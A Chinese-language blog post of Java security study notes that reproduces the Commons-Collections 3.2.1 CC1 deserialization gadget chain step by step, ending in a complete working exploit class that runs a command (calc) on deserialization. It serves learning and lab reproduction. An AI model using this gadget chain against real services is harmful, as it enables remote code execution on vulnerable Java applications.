JAVA安全学习笔记--Commons-Collections链复现篇(01. CC1链)

CC1链

我们从第一条链子CC1讲起,由于是第一条链子,所以我详细讲解一下环境部署的流程,后面别的链子就不花大篇幅在上面了。

1. 环境部署

注意这里的JDK8u65从官网下载会自动变成JDK8u112,非常的莫名奇妙我也不知道为什么,后来我是找朋友要的。有需要也可以私信我。

JDK8u65下载好后不用着急添加到环境变量里,以免打乱了你自己原本的环境变量。

我们现在要做的事是修改sun包。

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。这方便我们使用find usage分析调用链。

  • openJDK 8u65 ———— 去到这个下载链接,点击 zip

image-20250909190341131

下载解压后长这样

image-20250909190447343

我们所需要的sun包在src/share/classes/sun/

image-20250909190639551

将其复制一份,这时候我们回到我们JDK的安装目录下。

image-20250909190754378

我们将我们刚才复制的sun包粘贴到src文件夹里。

image-20250909190838389

这个时候环境便准备好了,然后我们进IDEA里配置一下。

我们先new一个新项目,然后在选择JDK的时候添加新下载的

image-20250909191002632

然后按照下图操作(创建一个javaweb项目)

image-20250909191232105

如果没下载配置过Maven和创建过javaweb项目的,建议先去学习和配置一手,我就不在这说了。

创建好项目以后,打开Project Settings,添加我们刚才配置好的SRC文件夹路径

image-20250909191551525

由于我们要复现的是Common-Collections的各种链子,所以还需要添加Common-Collections包。由于这不是官方的,所以需要在pom.xml添加依赖

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.2.1</version>  
</dependency>

然后使用maven clean + install

这样环境才算部署好了。

2. Common-Collections 相关介绍

闪烁之狐大佬说的很清楚了 ~ 我这里借用一下

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

CC1攻击链分析

一、寻找链尾

  • 由前辈们挖洞总结出来的经验,我们的链子主要用到的是这个 Transformer接口。

我们跟进查看一下接口的结构

image-20250909200723143

可见这个接口非常的简单,只定义了一个transform方法。

我们通过ctrl + alt + B即可查看有哪些类实现了transform接口。

image-20250909150833460

这里就不逐一分析了,我们可以在 InvokerTransformer类中找到可以利用的代码。

image-20250909151112851

可以发现在对transform方法的实现中,利用了反射机制可以调用任意类的任意方法。

这就非常的好了,我们可以拿它作为我们链子的尾部,调用Runtime类的exec来命令执行。

我们可以使用这个类的transform方法写一个简单的代码来调用计算器测试一下。

先回顾一下我们前面讲过的利用反射来命令执行:

import java.lang.reflect.Method;
import java.lang.Runtime;

public class Calc {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method method = c.getDeclaredMethod("exec", String.class);
        method.setAccessible(true);
        method.invoke(runtime, "calc");
    }
}

接下来我们将其改写成利用 InvokerTransformer类的transform方法调计算器。

我们先看看这个类的构造函数:

image-20250909201818262

发现有一个public的有参构造函数可以直接利用,我们甚至都不用反射获取构造函数以及修改字段值了,多方便啊!

package com.test.Rce;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class transformRce {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
                , new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    }
}

直接运行看效果

image-20250909202025000

成功弹出计算器,这也证实了它确实是非常好的链尾。

找到链尾了,我们从后往前跟进,看看有哪些类的方法调用了transform方法。

二、从链尾往前跟进(初步找链子)

我们直接右键find usages

如果前面环境配置没问题的话,是可以看到在Maven的commons-collections包里看见很多方法直接调用了它。

image-20250909203555976

如果发现没有那么多包的话,取仓库把CC包删了,然后clean+install。

这里就不一一看了,节省时间直接说结果。

其中 TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法。

image-20250909203733571

  • 注意到这里是通过 valueTransformer 来调用transform,OK,我们接下来我们看看 valueTransformer 是什么东西。

image-20250909204733277

  • 发现它被定义为一个受保护的Transforme常量对象,初始值为null。

其实当时我分析到这里便立马有了一个小想法。就是通过反射获取这个字段,然后将其属性值改为Transformer的实例,这样就可以获取checkSetValue方法然后调用了。但是想了想,我们不是要反序列化漏洞吗?那肯定入口得是readObject啊,哈哈哈所以肯定不能那样做了,一个小插曲而已。

  • 我们接着找别的地方有没有valueTransformer,在 TransformedMap 的构造函数中又发现了 valueTransformer

image-20250909205545089

  • 这是一个protected的构造方法,它对valueTransformer进行了初始化。我们往前跟进,看谁调用了这个构造函数。

发现在这个类的decorate静态函数中调用了构造函数来创建TransformMap对象。

image-20250909205834252

  • 这方法多好啊,又是静态的又是public的。我们甚至都不需要实例就能调用它。所以我们可以尝试拿它当作链子的开头(不是指链首,链首肯定要是readObject)。

目前的链子:

Map#decorate -->  获取TransformedMap对象 --> TransformedMap#checkSetValue --> transform

到这一步了,我们可以尝试写一个POC测试一下。(并不是完整的反序列化链子,只是针对现有的链子测试)

package com.test.Rce;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class transformRce {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
                , new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        Class<TransformedMap> transformedMapClass = TransformedMap.class;
        Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
        checkSetValueMethod.setAccessible(true);
        checkSetValueMethod.invoke(decorateMap,runtime);
    }
}

根据这个POC,我们再总结一下这个链子是怎么构造的吧:

  • 首先我们通过.decorate方法创建一个Transformed对象,由于返回值是Map,所以这里用Map接收。其次这个方法的三个参数中,第一个参数是一个Map对象,经过测试发现它不能为空,所以我们可以创建一个HashMap对象传入。然后第二个参数,没什么作用且可以为null,所以设置为null,第三个参数就是给valueTransformer初始化的值也就是最后用来调用transform方法的对象,用我们前面的invokerTransformer即可。
  • 然后就是通过反射,获取TransformedMap类的checkSetValue方法,设置作用域后调用。
  • 调用checkSetValue方法会直接调用transform方法,而transform方法中可以利用反射命令执行。这也就是我们链子的尾部 ———— .transform

img

效果如下:

image-20250909214530536

三、完整的链子

其实我们前面找到的.decorate根本不算链子,细心的你可以发现它其实并没有与checkSetValue有连贯的调用关系,它只是作为调用TransformedMap构造器以及初始化valueTransformer的中间人罢了。

而我们目前找到的链子位于 checkSetValue 当中,所以我们回到 checkSetValue 重新找链子。看一下谁直接调用了checkvalue方法。

image-20250910112304464

跟进看一下。

image-20250910112544651

我们可以发现调用的是TransformedMap的父类AbstractMapEntryDecorator里的内部类MapEntry的setValue方法,这个方法首先会先调用checkSetValue,在checkSetValue里又会调用transform方法,最后执行entry的setValue方法来设置Value。

还有一点要注意的便是,这个方法它需要一个键值对也就是Entry实例才可以调用。

从前面我们初步找的链子我们可以知道,通过调用decorate方法,我们可以创建一个TransformedMap实例,并且给valueTransformer初始化,而我们正是将要执行的恶意类赋值给它。

但是前面的时候需要我们自己通过反射获取checkSetValue方法并调用,而现在我们找到了setValue可以直接调用checkSetValue,并且它是一个Entry下面的public方法,要调用非常的方便。所以我们便可以通过for循环遍历(通过decorate方法生成的TransformedMap对象的键值对)Entry,然后执行Entry.setValue就可以完整的利用这条链子。

POC如下:

package com.test.Rce;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class transformRce {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
                , new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for (Map.Entry entry:decorateMap.entrySet()){
            entry.setValue(runtime);
        }
    }
}

主要是通过entrySet()获取一个Map的所有键值对。

运行看效果:

image-20250910114311542

  • 成功弹出计算器。

目前我们还剩一步,便是找到链首(readObject)它重写方法的实现里调用了setValue

四、寻找 readObject() —— 链首

  • 我们直接在setValue处,find usages

这个地方真的要细心一点慢慢找,功夫不负有心人,我们终于找到了一个readObject入口类!

image-20250910115454589

  • 我们注意到类的名字为 AnnotationInvocationHandlerInvocationHandler 这个后缀,我在动态代理里面提到过,是用做动态代理中间处理,因为它继承了 InvocationHandler 接口。

要调用setValue()方法,我们还需要满足下图的要求。

image-20250910133242102

我们可以通过 AnnotationInvocationHandler的构造函数获取实例,注意参数即可。

image-20250910133440358

下面我们开始编写POC

POC的编写

1. 理想情况下的POC

  • 先想出理想情况下的 EXP,再根据实际情况进行调整
package FinalEXP;

import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  

import java.io.*;  
import java.lang.reflect.Constructor;  
import java.util.HashMap;  
import java.util.Map;  

// 理想情况的 EXPpublic class TransformMapImagineEXP {  
    public static void main(String[] args) throws Exception{  

        Runtime runtime = Runtime.getRuntime();  
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec"  
 , new Class[]{String.class}, new Object[]{"calc"});  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 hashMap.put("key", "value");  
 Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);  
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
 Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
 aihConstructor.setAccessible(true);  
 Object o = aihConstructor.newInstance(Override.class, transformedMap);  

 // 序列化反序列化  
 serialize(o);  
 unserialize("ser.bin");  
 }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}

但是直接用这个EXP肯定是不行的,我们还有三个问题需要解决

  • ①:Runtime 类是没有实现Serializable接口的,也就是说它是不可序列化的。需要通过反射将其变成可以序列化的形式。
  • ②:setValue()的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西

image-20250910134423292

  • ③:满足两个if判断,才能进入setValue

我们一个一个来解决

2. ①解决Runtime不能序列化

Runtime 是不能序列化的,但是 Runtime.class 是可以序列化的。我们先写一遍普通反射。

import java.lang.reflect.Method;  

public class SolvedProblemRuntime {  
    public static void main(String[] args) throws Exception{  
        Class c = Runtime.class;  
 Method method = c.getMethod("getRuntime");  
 Runtime runtime = (Runtime) method.invoke(null, null);  
 Method run = c.getMethod("exec", String.class);  
 run.invoke(runtime, "calc");  
 }  
}

接着我们将其改造成使用 InvokerTransformer 调用的方式。

import java.lang.reflect.Method;  

public class SolvedProblemRuntime {  
    public static void main(String[] args) throws Exception{  
        Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

 }  
}
  • 我们注意到通过这种方式,每次都会将前一次的结果作为这一次的transform参数。

有一个 ChainedTransformer 类正好可以干这个,我们来看一下这个类

image-20250910135144687

  • 知道了用法之后编写 EXP,先定义一个数组,然后将数组传到 ChainedTransformer 类中,再调用 .transform 方法。
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  

public class ChainedTransformerEXP {  
    public static void main(String[] args) {  
        Transformer[] transformers = new Transformer[]{  
                new InvokerTransformer("getMethod"  
 , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke"  
 , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec"  
 , new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 chainedTransformer.transform(Runtime.class);  
 }  
}

再把它与 decorate 的链子结合一下(目前解决了第一个问题)

package Rce;  

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.TransformedMap;  

import java.io.*;  
import java.lang.reflect.Constructor;  
import java.util.HashMap;  
import java.util.Map;  

// 解决了第一个问题  
public class ChainedTransformerEXP {  
    public static void main(String[] args) throws Exception {  
        Transformer[] transformers = new Transformer[]{  
                new InvokerTransformer("getMethod"  
 , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke"  
 , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec"  
 , new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 hashMap.put("key","value");  
 Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);  
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
 Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
 aihConstructor.setAccessible(true);  
 Object o = aihConstructor.newInstance(Override.class, transformedMap);  

 // 序列化反序列化  
 serialize(o);  
 unserialize("ser.bin");  
 }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}

但是现在这个POC是肯定不会有效的,我们可以在第一个if处打个断点,然后调试一下。

image-20250910155119419

下面我们先解决两个if的问题

3. ②解决进入setValue的两个if

我们回归代码本身,看看它到底做了什么。

image-20250910161608968

其实这里的memberValues就是我们传入的transformedMap。我们在代码中还往键值对里put("key","value")。

所以我们前面那个断点调试的图片中可以看到,name为key。然而memberType为null,这是为什么?

我们给第一个参数传入的是Override.class,我们进去看看实现。

image-20250910162014331

可以发现这个注解类其实并没有任何的属性与方法,所以get(name)自然获取为null。所以我们需要找一个有内容的类,这里找到了Target.class

image-20250910162145359

可以发现有一个value属性。然后我们修改Map中的key为value不就满足了第一个if。

代码作微调即可:

image-20250910162613478

此时我们接着断点调试

image-20250910162748205

  • 发现成功进来了,并且第二个if语句也满足了,直接调用setValue了。

但是最后还是无法弹出计算器,这是为什么?因为我们要给setValue传入一个Runtime.class啊,而这个代码中的setValue的参数其实我们是不可控的。

这时候就要解决我们的第三个问题。也就是setValue参数不可控的问题

4. 解决最终问题,编写EXP

setValue的参数肯定是不可控的,但是我们找到了一种方法,可以不必给setValue传入Runtime作为参数。它就是 ConstantTransformer类。

image-20250910164746774

这个类中的transform的作用是输入什么就将什么给返回,其实就相当于一个常量了。

那么我们便可以将Runtime.class写入ChainedTransformer的那个数组transformers中。这样在调用ChainedTransformertransform时,首先先通过 ConstantTransformertransform获取Runtime.class,然后它便作为后面的参数执行了。这样便可以无视input,也就是setValue的参数。

最后 实现了 获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法

所以完整的EXP如下:

package com.test.Rce;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

// 解决了第一个问题
public class wholeCC1Chain {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","6666");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);

        // 序列化反序列化
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行看效果,发现成功弹出了计算器。

image-20250910165505852

终于利用成功了!太不容易了。

5. 小结一下

  • 先总结一下链子
AnnotationInvocationHandler#readObject  --->  AbstractInputCheckedMapDecorator#setValue ---> 
TransformedMap#checkSetValue  --> InvokerTransformer#transform

还用到了一些工具类辅助

ConstantTransformer
ChainedTransformer
HashMap

我自己画图总结了一下,可能有点抽象。建议都自己画图总结一下。

image-20250910172029974

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注